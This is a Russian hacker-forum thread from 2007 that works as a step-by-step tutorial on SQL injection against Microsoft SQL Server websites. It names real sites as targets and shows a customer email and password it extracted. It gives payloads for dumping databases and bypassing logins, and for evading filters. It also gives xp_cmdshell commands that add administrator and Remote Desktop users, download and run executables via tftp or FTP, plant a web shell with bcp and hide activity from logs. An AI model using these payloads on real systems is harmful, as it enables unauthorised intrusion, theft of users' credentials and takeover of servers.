Просмотр полной версии : Провидение Иньекций в MSSQL сервер от Microsoft.
guest3297
03.01.2007, 20:35
Проведение инъекций в MSSQL сервере от Microsoft.
Вступление.
Начнем, пожалуй, с вывода ошибок, и так, чем же отличается? - выводом ошибок у mysql и mssql. В mysql можно отключить вывод ошибок, в mssql этого сделать нельзя единственное что можно реализовать это редирект при выводе ошибки. В mssql вывод данных в mssql гораздо более проблематичный чем mysql (выводится только 1 переменная всегда), при этом не все данные из бд можно бывает вывести, иногда не выводяться колонки с кодировкой date int и др. Многие считают что сделать полноценный дамп базы через mssql иньекцию невозможно, но это не так, дальше я попытаюсь рассказать вам все тонкости проведения sql иньекций в msql.
Мы будем рассматривать иньекции на asp aspx cfm (c php mssql ведет себя чуть по другому), так же не будем забывать что админ может просто изменить в конфигах сервера обработку mime/type и расширение файла может любым, но это не введет нас в заблуждение. Если иньекция есть то мы ее найдем. В плюс можно отнести и то что на msql не может существовать blind (слепых) иньекций.
Вывод ошибок.
Приступим к поиску непосредственно самих иньекций. И начнем с изучения ошибок которые выводит mssql в ответ на наши извращения.
Рассмотрим данный урл
http://www.psdata.no/ps.asp?it=1'
Microsoft OLE DB Provider for SQL Server error '80040e14'
Line 1: Incorrect syntax near 'NO'.
/prodDetails.asp, line 1282
Значит мы нашли вывод ошибки, но это еще не означает что получится изменить запрос к бд.
Проверяем на нашиличие иньекции:
Для того, что бы проверить, надо что-нибудь вывести, для этого используем подзапрос, и так что же мы можем вывести:
1 or 1=@@version-- - Версия
1 or 1=(select db_name())-- - Имя Базы Данных текущего юзера.
1 or 1=(select system_user)-- - Имя юзера владельца данной базой.
Но в нашем случае нам придется слегка видоизменить запрос для его работоспособности...
http://www.psdata.no/ps.asp?it=1' or 1=(select db_name())--
В ответ получим ошибку:
Microsoft OLE DB Provider for SQL Server error '80040e07'
Syntax error converting the nvarchar value 'fshop' to a column of data type int.
/prodDetails.asp, line 1282
где fshop имя Базы Данных текущего юзера.
Поиск таблиц и колонок.
В mssql есть база данных в которой хранится информация о всех таблицах и колонках во всех бд данного сервера название ей INFORMATION_SCHEMA. Интересуют нас в ней 2 таблицы TABLES и COLUMNS. И так составим запрос:
1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_S CHEMA.TABLES)--
В нашем случае запрос будет такой.
http://www.psdata.no/ps.asp?it=1'+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+IN FORMATION_SCHEMA.TABLES)--
В ответ мы получим:
Microsoft OLE DB Provider for SQL Server error '80040e07'
Syntax error converting the nvarchar value 'tblMenuTCL' to a column of data type int.
/prodDetails.asp, line 1282
Где tblMenuTCL одна из таблиц. Найдем интересующую нас таблицу методом перебора через NOT IN
http://www.psdata.no/ps.asp?it=1'+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+IN FORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+(' tblMenuTCL'))--
Получаем ошибку:
Microsoft OLE DB Provider for SQL Server error '80040e07'
Syntax error converting the nvarchar value 'tblTCL_TEST1' to a column of data type int.
/prodDetails.asp, line 1282
Где tblTCL_TEST1 имя второй таблицы. Далее, перебираем до той таблицы которая нам будет нужна. Дальнейший перебор осуществляется так:
1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_S CHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+('table1','ta ble2',........,'table50'))--
Теперь когда мы нашли нужную таблицу надо узнать ее колонки что бы реализовать вывод данных для этого используем похожий запрос
1+or+1=(SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_ SCHEMA.COLUMNS+WHERE+TABLE_NAME='table_name'+AND+C OLU MN_NAME+NOT+IN+('column','column2',.....,'column50 '))--
Вывод данных.
После того как мы узнали структуру базы данных приступим к выводу данных. Для примера я возьму иньекцию на другом сайте и выведу оттуда что нибудь
меня заинтересовали данные колонки:
CustID
EmailAddress
Password
Приступим к составлению запроса для начала выведем 1 из значений.
http://www.ast-ss.com/dev/qa_search/full_text.asp?ID=1+or+1=(SELECT+TOP+1+EmailAddress +from+Customers)--
Microsoft OLE DB Provider for SQL Server error '80040e07'
Syntax error converting the varchar value 'pdelia@ast-ss.com' to a column of data type int.
/dev/qa_search/full_text.asp, line 23
Что же попробуем вывести все данные которые нас интересуют в 1 запросе, для этого составляем запрос
http://www.ast-ss.com/dev/qa_search/full_text.asp?ID=1+or+1=(SELECT+TOP+1+cast(EmailAd dress+as+nvarchar)%2B%27%3A%27%2Bcast(Password+as+ nvarchar)+from+Customers)--
Microsoft OLE DB Provider for SQL Server error '80040e07'
Syntax error converting the nvarchar value 'pdelia@ast-ss.com:fzr1000r1' to a column of data type int.
/dev/qa_search/full_text.asp, line 23
Отлично все что нам надо... но это только 1 строка из всей сможем ли мы посмотреть другие для этого используем простой запрос where:
http://www.ast-ss.com/dev/qa_search/full_text.asp?ID=1+or+1=(SELECT+TOP+1+cast(EmailAd dress+as+nvarchar)%2B%27%3A%27%2Bcast(Password+as+ nvarchar)+from+Customers+where+CustID=3)--
Мы получили совсем другую строку ту в которой CustID=3 так мы можем вывести всех юзеров. Но возникает вопрос, как же все-таки сдампить базу. Для этого существуют специальные скрипты которые перебирают все CustID (в нашем примере) и записывают все в файл без лишнего мусора.
Теперь непосредственно о том как мы обьеденяем данные используем мы cast() синтаксис которого cast(perm as encode), далее %2B%27%3A%27%2B это у нас и есть : между выводимыми данными в раскодированном виде выглядит так +':'+.
Исполнение команд.
Еще мы можем исполнять комады если юзеру под которым запущена база достаточно прав, как правило, это только юзер sa. Вот списочек процедур которые при определенных условиях мы сможем использывать:
xp_enumgroups (группы из ОС Windows)
xp_ntsec_enumdomains (список доменов сети)
xp_enumdsn (источники данных ODBC)
xp_loginconfig (инфо о пользователе)
xp_logininfo (все пользователи, залогинившиеся на данный момент в системе)
xp_msver (версия SQL сервера)
xp_cmdshell <команда> (исполнение файла через cmd.exe)
xp_servicecontrol <действие>,<служба> (запускает или останавливает указанные процесс)
xp_terminate_process <идентификатор процесса> (закрытие процесса по его ProcessID)
xp_startmail, xp_sendmail (обращение к потовому демону sendmail)
sp_makewebtask (выполнение команды html вида)
Теперь как же это чудо нам вставить в запрос
;exec master..xp_cmdshell 'dir c:\'--
иногда
';exec master..xp_cmdshell 'dir c:\'--
Если вы задаите вопрос что же можно сделать то посоветую вам обратиться к help cmd.exe, лично использую только 1 метод добавление юзера.
POST Иньекции.
Конечно же затронем тему иньекций постом. в отличии от mysql, mssql выведет ошибку и мы можем с ней точно так же работать как и с обычной get иньекцией тоесть выводить данные из базы данных. Если же мы хотим просто обойти авторизацию то и используем подобные комбинации в полях логина и пароля:
' or 1=1--
" or 1=1--
or 1=1--
' or '1'='1
" or "1"="1
') or ('1'='1
Отсупления.
И так несколько моих советов по инжектированию:
1) Ошибка очень многих использывать в mssql union
Например тут:
http://www.accessdata.fda.gov/scripts/cder/onctools/studies.cfm?ID=1+union+select+0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0--
хотя тут легче работать с подзапросами
http://www.accessdata.fda.gov/scripts/cder/onctools/studies.cfm?ID=1+or+1=@@version--
2) не забывайте исользывать прерывание запроса в конце --
3) При поиске иньекции методом описанным мной то есть подставляем к параметру or+1=@@version-- пробуйте разные комбинации например
'+or+1=@@version--
')+or+1=@@version--
"+or+1=@@version--
и т.д.
4) Почему использывать именно @@version?
Потому что выводит данные в несколько строк и их легко заметить как например в данном запросе на aspx
http://barijessence.com/?Page=ModelShow&ProductID=1+or+1=@@version--
5)Что следует почитать?
_http://injection.rulezz.ru/
_http://www.securitylab.ru/analytics/216211.php
_http://www.securitylab.ru/analytics/216332.php
_http://www.securitylab.ru/analytics/216333.php
_http://www.securitylab.ru/analytics/216344.php
Так же статьи на forum.antichat.ru
Статья расчитана на начинающих.
И справкой для Всех остальных :)
[ cash ] Hack-Shop.Org.Ru (c)
в отличии от mysql, mssql выведет ошибку и мы можем с ней точно так же работать как и с обычной get иньекцией тоесть выводить данные из базы данных.
да ладно. а mysql ошибок не выводит? о_0
guest3297
07.01.2007, 18:39
2_Great_
В большинстве авторизацый которые я встречал (именно авторизация про них говорил) обходился ' or 1=1/*.
Обновил все о чем писали.
Исправил граматические ошибки спасибо Thanat0z
halkfild
14.02.2007, 04:40
нужна вторая часть..
и вопрос еще почему при выполнении подзапроса
(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.T ABLES)
пишет ошибку
Incorrect syntax near the keyword 'top'.
все до вложеного правильно..
guest3297
10.04.2007, 18:33
Продолжение статьи:
Класcификация ошибок в Базах Данных от Microsoft.
Рассмотрим 3 версии самых популярных ошибок в asp.
Для начала рассмотрим те ошибки с которыми мы ничего сделать не можем.
И так по ключевым словам:
1) Microsoft Jet Database
2) VbScript
3) JetDataBase
4) "Потерянный параметр"
Первые 3 класса ошибок образуют отдельную группу. Собственно с чем мы имеем дело. Во всех 3 Примерах мы имеем дело с базой данных Microsoft Jet Database Engine. Как мы видим работает она на Access + VB. Языка как такового в запросах там не используется. В этих случаях мы не можем провести инъекцию так как:
1) Не будет вывода.
2) Запросы передаются на очень низком уровне.
3) Единственное что на мой взгляд тут можно сделать это стресс тест на переполнение буфера в отдельных компонентах которые в крупных компаниях пишут сами.
База данных в таких случаях хранится в файле *.mdb, который обязательно находится на веб сервере вместе с web скриптами. Протокол передачи запросов между базой и веб приложениями я не изучал.
Часто встречал сервера где исользуется обычный mssql и JetDB так что если в первый раз вы определили данный вид базы не стоит расстраиваться, может еще есть шансы на успех.
Редактировать и открывать файлы базы данных можно в Microsoft Office Acceess.
Теперь рассмотрим "Потерянный параметр".
Это я встречал на всех версиях Серверов от Microsoft и так и не разобрался с чем собственно это связанно. При попытке инъекции запроса с нарушением синтаксиса Сервер возвращает ошибку с некорректным параметром. Например
При url
site.gov/a.asp?catId=66' param id=66
В большинстве случаев это из-за фильтрации, для меня это самое логическое объяснение. Но это не всегда. Лично я встречал случай когда.
id="$catId"-60;
Если это так, то мы составим запрос.
site.gov/a.asp?catId=66'&id=6
При этом если в ошибке параметр исчезает и запрос является верным, то мы можем составить далее правильный по синтаксису запрос.
site.gov/a.asp?catId=66+or+1=@@version--&id=6
Но в большинстве случаев это именно фильтрация входяшего параметра, и только потом передача его в с другим "именем" в базу данных.
Идеальная ошибка при составлении не корректного запроса к бд будет.
Microsoft OLE DB Provider for SQL Servererror '80040e14'
Unclosed quotation mark before the character string ''.
/path_to_dir/file.asp, line 99
Именно эта ошибка 80040e14, хотя встречаются разные. Здесь с вероятностью 95% есть инъекция. Так же не забываем, что если ошибка возникает без манипуляции вами параметров скрипта, то это скорей всего ошибка в настройках скрипта, а не инъекция.
Коды ошибок :
http://msdn.microsoft.com/library/ja/default.asp?url=/library/ja/adoce31/htm/ado30ref_100.asp
Данной статьей я хотел показать в каких случаях возможна инъекция да бы на форуме не было одинаковых тем.
Служит продолжением статьи http://forum.antichat.ru/showthread.php?t=30501
[ cash ] Hack-Shop.Org.Ru (c)
guest3297
03.06.2007, 15:25
Реализация скрипта для просмотра и дампинга баз, через mssql-inj.
Исходников не будет.
http://pidor.in/mssql.php (http://pidor.in/mssql.php)
Кто-нибуть ещё может предложить способы для Post Иньекции? Наткнулся на страницу авториции, ничего из перечисленного не прокатило, неужели всё так жёстко фильтруется?
guest3297
04.07.2007, 20:16
Не так пробывал значит.
_Pantera_
05.07.2007, 00:30
так же хочу добавить от себя, в отличае от mysql в mssql возможна модификация данных в таблицах
INSERT
Команда INSERT вставляет новые записи в существующую таблицу. Тоесть мы можем найдя таблицу admins добавить нового пользователя, то есть себя, не нанося существенный вред данным
Рассмотрим на примере:
http://site.ru/index.asp?id=1; INSERT INTO admins (id, login, password) VALUES (5,'Pantera','qwerty')--В данном примере я добавил нового админа с id 5, логином Pantera и паролем qwerty;
UPDATE
Команда UPDATE обновляет столбцы таблицы table в соответствии с их новыми значениями
в строках существующей таблицы.
Это значит то, что мы можем поменять к примеру пароль конкретного юзера на свой
Рассмотрим на примере:
Допустим мы нашли таблицу с названием admins и наша задача поменять пароль адмну с логином admin
делаеться это вот так:
http://site.ru/index.asp?id=1; UPDATE admins SET password = 'newpass' WHERE name='admin'--
']Не так пробывал значит.
всмысле не так пробовал? :)
просто поочерёдно тулил в поля логин и пасс предоставленные значения ("' or 1=1--" итд). Скрипт вообще никак не ругался, только говорил что лониг и пароль не верны. Причём если вставлять только в логин то скрипт сразу выдавал, что мол пароль не введён. Думал что эта проверка реализована ява скриптом, но в исходниках толком ничего не нашёл, хотя правда бегло просмартел. Нашёл названия переменных логина и пароля и присваивал им значения прямо в адресной строке браузера - тоже ничего. И ещё, возможно ли просто сохранить страничку, вручную поменять метод передачи, ну подставить полный путь к скрипту и таким образом передавать атутентификационные данные, будет ли это нормально (или ненормально :)) воспринимать скрипт?
guest3297
05.07.2007, 13:53
ява фильтрация обходитьсся на уровне посылки пакета.
Если нету ошибки то с чего ты взял что есть иньекция.
' or 1=1--
Придает иситаное значение передаваемому запросу так что или ты авторизуешься или нет.
']ява фильтрация обходитьсся на уровне посылки пакета.
а если просто сохранить страничку и вырезать с неё ява скрипт блок, а потом просто запустить этот сохранённый фалик? Думаю так проще.
']
Если нету ошибки то с чего ты взял что есть иньекция.
дак в том, то и прикол, что нет ошибок и инъекции соответственно тоже, именно поэтому спрашивал может есть ещё какие-либо приёмы, кроме уже описанных :)
']
' or 1=1--
Придает иситаное значение передаваемому запросу так что или ты авторизуешься или нет.
у меня обычно такие запросы приводили не к авторизации, а просто к ошибке.
guest3297
05.07.2007, 14:45
а если просто сохранить страничку и вырезать с неё ява скрипт блок, а потом просто запустить этот сохранённый фалик? Думаю так проще.
Просто перехватить пакет исправить данные и отправить дальше.
у меня обычно такие запросы приводили не к авторизации, а просто к ошибке.
Нет универсального способа.
']Просто перехватить пакет исправить данные и отправить дальше.
этож нада знать как перехватывать, исправлять и передавать дальше :)
А всё таки не подскажешь, может известы ещё пару примеров, что можно втулить в форму авторизации?
_Pantera_
09.07.2007, 13:38
Тема которую почти никогда не затрагивают в статьях про MSSQL сервер от Microsoft.
При наличии соответствующих прав, хакер может выполнить произвольную команду.
Вот пример:
http://site.ru/news.php?id=1;+exec+master..xp_cmdshell+'dir'--
Выводим список файлов и под-папок из текущей папки
Также можно залить любой файл на уязвимый сервер
http://site.ru/news.php?id=1;+exec+master..xp_cmdshell+'tftp –i 127.0.0.1 get file.exe'--127.0.0.1 - это сервер на котором лежит наш file.exe
и выполнить его
http://site.ru/news.php?id=1;+exec+master..xp_cmdshell+'file.exe'--
guest3297
09.07.2007, 13:43
http://site.ru/news.php?id=1;+exec+master..xp_cmdshell+'dir'
Че куда ты выведешь???
Запрос прервать коментариями не надо...
Короче почитал поржал...
почему при выполнении подзапроса
(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.T ABLES)
пишет ошибку
Incorrect syntax near the keyword 'top'.
в данном случае сайт
http://info.l2r.ru/?part=items&id=1+or+1=(SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATI ON_SCHEMA.COLUMNS+WHERE+TABLE_NAME='table_name'+AN D+COLUMN_NAME+NOT+IN+('column'))--
guest3297
23.07.2007, 14:28
UPDATE!
Уневальсальный дампер для mssql через иньекцию.
http://slil.ru/24655320
http://www.rapidshare.ru/350872
Видео тут.
Собсвенно продолжение статьи и то о чем все просили.
http://hack-shop.org.ru/mssql.php
guest3297
08.08.2007, 00:13
UPDATE!
Официальный хелп от майкрософт по ADO (Jet Database). На русском.
http://support.microsoft.com/ph/1596
А что делать если фильтрируюеться знак ( ' ) , а когда вожу запрос через char() выдает ошибку 'The char function requires 1 arguments' ??
guest3297
25.08.2007, 13:07
UPDATE!!!
оригинал статьи (http://hack-shop.org.ru/board/showthread.php?p=47)
Альтернативы MSSQL иньекций.
Начнем опущу все начальные данные которые и так есть в прошлых статьях начнем с главного. Основной нашей целью будет изменить данные. Хачу обратить ваше внимание что в некоторых случаях когда мы не можем вывести данные, мы можем их удалить, проапдейтить или добавить(DELETE UPDATE INSERT), а так же выполнить различные команды, я хочу пояснить что данных не корректно обрабатываются только на выходе а не на входе это можно сравнить со слепыми иньекциями в mysql, раньше я писал что слепых иньекций не сушествует но это не так. В итоге мы можем исполнять произвольные команды в некоторых случаях, от чего это зависит я не разобрался, лишь пишу что это возможно. Теперь рассмотрим еще 1 альтернативыный способ рассмотрим код ошибоки 80040e14 по ANSI это "The command text contained one or more errors"ошибочка довольно забавная особденно кода идет еще с добавочным потерянным параметром (или без него) допуспим:
GET
?id=1'
и в ответ получаем
Syntax error in string in query expression 'addID = 1000''Дальше будем что делать за прос что бы узнать table.feild, и будем использывать такую конструкцию для запроса having 1=1--
(для правильного запроса могут быть необходимы ' ` " ") ') `) и так далее это оригинальный запрос)
В ответ мы должны получить что то типо такого запроса.
Column ‘NEWS.TITLE’ is invalid in the select list because
it is not contained in an aggregate function and
there is no GROUP BY clause.Будем смотреть структуру бд далее используя такой синтаксис.
‘ group by NEWS.TITLE having 1=1--Во ответ получим что то типа
Column ‘NEWS.TEXT’ is invalid in the select list because
it is not contained in either an aggregate
function or the GROUP BY clause.В итоге мы нашли еще 1 поле NEWS.TEXT продолжим наш небольшой переборчик.
‘ group by NEWS.TITLE,NEWS.TEXT having 1=1--Получим что то типо:
Column ‘NEWS.ID’ is invalid in the select list because
it is not contained in either an aggregate
function or the GROUP BY clause.Этот способ мы можем использывать для обхода кавычек и замены методу where not in('1','2').
‘ group by NEWS.TITLE,NEWS.1,NEWS.2,NEWS.3,NEWS.4 having 1=1--Что ж мы узнали примерную структуру, теперь мы можеть узнать кодировку данных... Будем использывать функцию sum(), для этого нам придеться исползывать запрос вывода select мы можем сделать это 2 способами исползывать подзапрос или оператор uinon разницы в приныпе нету, в примере буду сползывать union с 1 колонкой.
` union select sum(ID) from NEWS--
` union select sum(TITLE) from NEWS--
` union select sum(TEXT) from NEWS--
Получим в ответ что типо:
The sum or average aggregate operation cannot take a
varchar data type as an argument.Где varchar это тип кодировки. Зачем это есть кодировки кторые не выводяться в иньекции, сообсвенно в 99% случаев выводяться кадеровки varchar и int. Дальше можно сделать адейт таблицы
` ; insert into NEWS values( 1, 'hack', 'hack')--"
или
` ; update NEWS values( 1, 'hack', 'hack')--В ответ мы не должны получить не 1 ошибки так как запрос правильный, и не содержит выходных данных.
Пока все продолжение следует.
[ cash ] Hack-Shop.Org.Ru (c)
guest3297
01.09.2007, 13:32
Ответьте на пост №23
Смотря в каком месте используеться кавычка, как правило обойти можно %27 %2527. А некоторых местах ее можно использывать как 0x27 в некоторых char(), все зависит от конкретного запроса.
' or 1=(SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ("change_ssn_history"))--
Здесь ругается на вторую кавычку или на последнюю..
Не на первую т.к. простой запрос
' or 1=@@version-- работает....
Вообщем такую ошибку выводит после моего запроса:
Warning: mssql_query() [function.mssql-query]: message: Line 1: Incorrect syntax near '\'. (severity 15) in C:\AppServ2\www\index.php on line 17
Warning: mssql_query() [function.mssql-query]: Query failed in C:\AppServ2\www\index.php on line 17
Warning: mssql_num_rows(): supplied argument is not a valid MS SQL-result resource in C:\AppServ2\www\index.php on line 18
guest3297
06.09.2007, 09:13
UPDATE! ВАЖНО!
Обход кавычек.
Итак очередной мини апдейт к статье. Итак обход кавычек покурив мануалов от мелкомгяких нашел интересную особенность по обходу кавычек в cmd и а так же xp..cmdshell. не пробывал тестить при фильтрации кавычек в др функциях, как select но все в ваших руках.
Если бы был открыт ремот декспот то можно бы было добавить юзера, благо обход кавычек нашел прикольный.
Цитата:
master..xp_cmdshell [net user lol lol /add]
тобишь меняем выражение в кавычках на [], все же полезно читать мануалы...
[53x]Shadow
09.09.2007, 23:54
А что делать если фильтрируюеться знак ( ' ) , а когда вожу запрос через char() выдает ошибку 'The char function requires 1 arguments' ??
Это происходит потому, что данная функция принимает только один параметр.
Для обхода фильтрации кавычек необходимо использовать функцию char(int ascii).
При этом необходимо учитывать, что функция принимает один параметр и конкатенация в MSSQL, происходит с помощью оператора "+".
Например если имя таблицы - USER, то соответственно при обходе надо использовать конструкцию char(117)+char(115)+char(101)+char(114), при этом кодировать сами кавычки уже не надо!!!
При проведении непосредственно инъекции необходимо так же помнить, что знак "+" интерпретируется в GET HTTP запросах как пробел, по-этому его необходимо заменять на его url encode %2B.
Для примера рассмотрим определение таблиц, если у нас при первом запросе к information_shema.tables вывалилось имя таблицы USER, то след запрос будет иметь вид:
http://www.site.com/news.asp?id=1'+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+ INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+ (char(117)%2Bchar(115)%2Bchar(101)%2Bchar(114)))--
в результате такого запроса получим имя второй таблицы и т.д.
Red_Red1
11.09.2007, 18:12
Если гдето ошибаюсь не ругайтесь, но по моему тут небольшая неточность.
char(117)+char(115)+(101)+char(114)
Пропущен char рядом с (101). И USER с такими кодам нужно в нижнем регистре.
А сам вариант конечно же рабочий :)
[53x]Shadow
11.09.2007, 18:18
Если гдето ошибаюсь не ругайтесь, но по моему тут небольшая неточность.
Пропущен char рядом с (101). И USER с такими кодам нужно в нижнем регистре.
А сам вариант конечно же рабочий :)
Исправил, регистр не принципиален..
.::Gh0st::.
22.09.2007, 18:58
мб пригодится кому для обхода кавычек
<?
$encode = "table_name";
$n = strlen($encode);
for ($i = 0; $i <= ($n-1); $i++)
{
if (($n-1) === $i) {echo "char(".ord($encode[$i]).")";}
else
{
echo "char(".ord($encode[$i]).")%2B";
}
}
?>
[53x]Shadow
22.09.2007, 19:09
мб пригодится кому для обхода кавычек
Universal char SQL encoder (http://www.webfuture.ru/igo/convert.php)
=)
2cash и все-все-все...:)
для обхода антимаджиков разных для хр_цмдшелл и прочих не требующих вывода проще юзать
declare @q varchar(8000) select @q=0x'.$query.' exec(@q)
guest3297
23.09.2007, 15:13
Токо создание функции в запросе в не всегда прокатывает щас практикую на поллную создание функций штудирую мануалы, за пример спасибо интере интересная реализация.
guest3297
09.12.2007, 12:31
TSQL, разделяй и властвуй.
Автор : [cash]
Дата : 07.10.2007
Продукт: TSQL
Интро.
Начнем с того, что язык TSQL разработан компанией microsoft для продуктов MSSQL Server и Microsoft Access и др. Самой вкусной частью этого языка являются хранимые процедуры, о которых мы и поговорим сегодня. Сразу хочу сказать, что стандартные запросы к базе данных рассматриваться не будут.
Взлом, хранимые процедуры, функции.
1)Хранимые процедуры.
И так начнем. После нахождения инъекции первое что мы делаем определяем юзера под которым запущенна база, для удачного проведения атаки нам необходимы права системного администратора sa или же юзера обладающего его правами. Нашей конечной целью будет получение шелла и слив базы данных. Рассмотрим процедуры, которые будут нам полезны.
xp_fixeddrives - вывод существующих логических разделов жесткого диска, например.
C 11155
D 1882
E 135140
xp_subdirs "c:\" – Аналог dir.
xp_create_subdir "c:\aaa" – cоздание папки.
sp_addlogin 'user', 'pass' – Добавление юзера базы данных.
sp_addsrvrolemember 'user', 'sysadmin' – Присвоение юзеру админских привилегий.
xp_regwrite – Запись в реестр.
xp_cmdshell – Исполнение команд.
Остановимся на последнем. Исполнение команд, что же еще может быть лучше этого… есть 1 недостаток у нас нету вывода. Ну начнем с самого распространенного способа добавление юзера на ремот декспот не буду останавливаться на этом и как то комментировать.
index.asp?id=1;exec master..xp_cmdshell 'net user user pass /add'--
index.asp?id=1;exec master..xp_cmdshell 'net localgroup administrators user /add'
index.asp?id=1;exec master..xp_cmdshell 'net localgroup "Remote Desktop Users" user /add'
И сразу поговорим о фильтрации.
1) ‘‘ Можно обходить [].
2) Посылать запрос в 0x[HEX], как это сделать.
declare @q varchar(8000) select @q=0x[HEX] exec(@q)
Создаем и исполняем свою переменную. При этом надо помнить что в екзек мы должны вставить имя процедуры а не просто команду.
2)К базе на прямую.
Способ который может нам помочь. Как правило удаленный коннект юзера sa запрещен поэтому мы добавим своего юзера и законнектимся удаленно к серверу, если открыт 1433 порт. Сделаем мы это используя sp_addlogin и sp_addsrvrolemember, описанных выше, а далее мы можем слить базу и исполнять команды уже с выводом.
3)Сценарии.
И самое запись в файлы. Нам нужно найти папку для записи и попробовать записать туда файл. Файл мы будем записывать echo. И так что мы можем сделать используя эту великолепную функцию. Рассмотрим такой листинг.
echo user '$user' '$passwd' > '$file'
echo type binary >> '$file'
echo get '$download' >> '$file'
echo put '$upload' >> '$file'
echo quit >> '$file'
ftp -n '$ip' < ./'$file'
del '$file'
Исполнив этот набор команд мы можем загружать и скачивать файлы, так же что бы осмотреться на сервере можно использовать tree C:\. Так же можно загрузить netcat и запустить бекконнект. Зная путь до веб директории мы можем прям туда загрузить шелл.
4)bcp
bcp Является стандартной утилитой для дампа базы данных и имеет следующий синтаксис:
bcp "SELECT * FROM db..table" queryout c:\inetpub\dump -c –S[server] –U[user] –P[pass]
Узнать имя сервера мы можем по переменной @@SERVERNAME, а юзера и пароль мы можем добавить сами. Далее просто слить дамп себе на ftp. Второе применение bcp это заливка шелла. И так по порядочку, создаем табличку с будущим кодом.
;create table shell (code varchar(8000))--
далее инсертим в табличку.
;insert into shell (code) set values (‘|code|’)
далее записываем код из таблички в файл.
bcp "SELECT code FROM shell" queryout c:\www\shell.asp -c –S[server] –U[user] –P[pass]
5) Правда или ложь или посимвольный перебор глобально.
Не возможность вывести данные это лишь маленькая преграда мы всегда сможем составить запрос который давал нам ответ TRUE or FALSE или же 1 и 0, рассмотрим на примере.
if ((select system_user) = 'sa' OR (select system_user) = 'test') select 1 else select 1/0
DECLARE @q int; EXEC @q = xp_cmdshell 'dir *.exe';IF (@q = 0) SELECT 0 ELSE SELECT 1/0
6) sp_password или без палева.
Вообщем если добавить к запросу в конце --sp_password то ошибки ошибки не будут логироваться в системных журналах SQL Server, но не в журналах IIS или др веб сервера логии будут писаться лично я не понимаю как это фишка пашет но в документации написано что 100% работает, пример
1=@@version--sp_password
Как правило, использование POST в GET инъекциях не особо часто пашет из-за четко политики ASP как языка, но при возможности использования
7) Читаем файлы.
Для начала создадим таблицу file с полем text
;create table file(text varchar(8000))--
далее запишем туда файл используя конструкцию bulk insert
bulk insert file from 'c:\boot.ini '
и прочтем собственно
select top 1 text from file
Удалим дабы не спалили админы
;drop table file
8) Объединение данных в базе в одну таблицу.
Что бы не мучаться с выводом большого количества инфы, можно просто объединить их в одну табличку и посмотреть все разом, вообще очень полезная фишка при сливе базы через инъекцию. Для начала нам надо создать таблицу назовем ее tmpusers c одной единственной колонкой dump, так же предполагается что у нас есть табличка users с полями id, usr, pwd. Пример
;begin declare @dump varchar(8000) set @dump =':' select @dump=@dump+' '+usr+'|'+pwd from users where username>@dump select @dump as ret into tmpusers end--
Хочу обратить внимание что +' '+ и др. соединяющие конструкция типа cast(usr+as+nvarchar)+':'+cast(pwd+as+nvarchar) стоит заменять URL кодировкой %2b%27%3a%27%2b.
Далее нам надо сделать запрос select к тому что мы создали.
select top 1 dump from tmpusers
И дропнуть табличку.
;drop table tmpusers
9) Полезные таблицы.
master..sysservers – Серверы слинкованные с данные(для применения атак ROWSET)
Системные юзеры.
SQL Server 2000: masters..sysxlogins
SQL Server 2005 : sys..sql_logins
3) Посимвольный перебор.
Далеко не во всех случаях при инъекции выводиться ошибка при подстановке кавычки, что делать в это случае определить юзера не составит труда, но что делать если у нас не превилегированный юзер, а кто отменял substring() в mssql синтаксис у нас будет следующий
1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 table_name FROM dbo1.user WHERE id=1 AND name NOT IN(SELECT TOP 0 name FROM dbo1.user WHERE id=1)),1,1)),0)>1--
В ответ мы получим либо истинный либо ложный ответ. Рассмотрим еще один способ у него есть аналог в mysql и называется он BENCHMARK(). Основная его идея в отлике сервера при исолнении запроса. WAITFOR DELAY() и имеет синтаксис
WAITFOR DELAY '00:00:00'--
Использывать мы будем его так же с оператором IF вот собственно пример
if (select system_user) = 'sa' waitfor delay '0:0:25'
Не забываем что время на исполнение у сервера, как правило 30 секунд поэтому 20-25 оптимально.
4)Фильтрация.
Сегодня мы уже затрагивали тему фильтрации но заострим на этом внимание. Первое что стоит попробовать фильтруется ли запрос как в GET так и в POST или же наоборот. Далее фильтрация по маске на пример exec или же select для того что бы обойти данный вид фильтрации нам надо иметь и представлять какие комментарии есть в данном языке и так:
‘#’ - конец строки
‘--‘ - конец строки
‘/*’ ‘*\’ – строчные комментарии.
; - разделение запросов (может быть гораздо больше 1)
То есть для того, что бы нам разделить фильтруеещееся по маске слово внутрь него мы вставим строчный комментарий и закроем его, например
E/*comment*/X/*comment*/E/*comment*/C
Так же надо помнить что есть альтернативы многим запросам, а на фильтр как правило стоят только основные функции, конструкции.
Название баз данных и, например данных для инсерта мы можем кодировать 2 способами:
1)Многосимвольно 0x[HEX]
2) Односимвольно char(0x[HEX])+char(0x[HEX])+char(0x[HEX])+char(0x[HEX])+char(0x[HEX])
5)ROWSET или еще 1 косяк Microsoft.
На эту тему написана отличная статья на русском языке на securitylab.ru (http://www.securitylab.ru/analytics/216396.php) так что дублировать что либо я не вижу смысла и так что читаем.
[ cash ] Hack-Shop.Org.Ru (c)
Klaus Doring
31.12.2007, 11:02
При подборе колонок вылазит вот такой эррор!
Warning: mssql_connect() [function.mssql-connect]: Unable to connect to server: 127.0.0.1
Warning: mssql_query() [function.mssql-query]: Unable to connect to server: (null)
Warning: mssql_query() [function.mssql-query]: A link to the server could not be established
Warning: mssql_fetch_assoc(): supplied argument is not a valid MS SQL-result resource
GannIbal.
03.01.2008, 13:05
На шол вот такую уязвимость
Пользователь 'sa' имеет пустой пароль, следовательно любой пользователь может получить полный доступ к БД. Также при наличии расширенной процедуры xp_cmdshell злоумышленник может получить полный контроль над сервером.
